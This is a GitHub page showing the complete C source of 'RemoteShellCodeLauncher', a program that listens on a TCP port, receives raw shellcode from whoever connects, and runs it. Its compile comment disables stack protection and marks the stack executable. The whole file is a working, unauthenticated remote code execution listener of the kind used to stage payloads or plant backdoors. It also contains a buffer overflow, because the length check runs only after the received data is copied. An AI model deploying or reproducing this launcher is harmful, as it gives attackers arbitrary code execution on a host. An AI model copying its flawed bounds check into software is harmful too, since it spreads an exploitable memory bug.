Repository navigation
Expand file tree
/
Copy pathRemoteShellCodeLauncher.c
More file actions
101 lines (79 loc) · 2.27 KB
/
Copy pathRemoteShellCodeLauncher.c
File metadata and controls
101 lines (79 loc) · 2.27 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
//Compile: gcc RemoteShellCodeLauncher.c -z execstack -fno-stack-protector -o RemoteShellCodeLauncher
#include<stdio.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<sys/types.h>
#include<error.h>
#include<strings.h>
#include<unistd.h>
#include<string.h>
#include<arpa/inet.h>
#define ERROR -1
#define MAX_DATA 2048
#define MAX_SHELLCODE_LEN 4096
char shellcode[MAX_SHELLCODE_LEN]; //Shellcode to inject (see http://shell-storm.org/shellcode/)
int main(int argc, char **argv)
{
struct sockaddr_in server;
struct sockaddr_in client;
int sock;
int new;
int sockaddr_len = sizeof(struct sockaddr_in);
int data_len, shellcode_len;
char data[MAX_DATA];
int (*fptr)(); // ftpr is a pointer, named ptr, to a function that returns an int and takes no arguments
//AF_INET is the address family (Internet Protocol Address) Others may be AF_IRDA and AF_BLUETOOTH
if((sock = socket(AF_INET, SOCK_STREAM, 0)) == ERROR)
{
perror("server socket: ");
exit(-1);
}
server.sin_family = AF_INET;
server.sin_port = htons(atoi(argv[1]));
server.sin_addr.s_addr = INADDR_ANY;
bzero(&server.sin_zero, 8);
/*bzero is the same as 'memset' and shouldnt be used. In UNIX Network Programming by W. Richard Stevens,
he uses bzero frequently instead of memset, even in the most up-to-date edition. The book is so popular,
I think it's become an idiom in network programming which is why you still see it used.
*/
if((bind(sock, (struct sockaddr *)&server, sockaddr_len)) == ERROR)
{
perror("bind : ");
exit(-1);
}
if((listen(sock, 1)) == ERROR)
{
perror("listen");
exit(-1);
}
if((new = accept(sock, (struct sockaddr *)&client, &sockaddr_len)) == ERROR)
{
perror("accept");
exit(-1);
}
data_len = shellcode_len = 0;
do
{
data_len = recv(new, data, MAX_DATA, 0);
if(data_len)
{
memcpy(&shellcode[shellcode_len], data, data_len);
shellcode_len += data_len;
if (shellcode_len > MAX_SHELLCODE_LEN)
{
printf("Received shellcode length exceeds MAX_SHELLCODE_LEN: exiting!\n");
exit(-1);
}
}
}while(data_len);
close(new);
close(sock);
if(shellcode_len)
{
printf("Shellcode size: %d\n", (int)strlen(shellcode));
printf("Executing ...\n");
fptr = (int(*)())shellcode;
(int)(*fptr)();
}
return 0;
}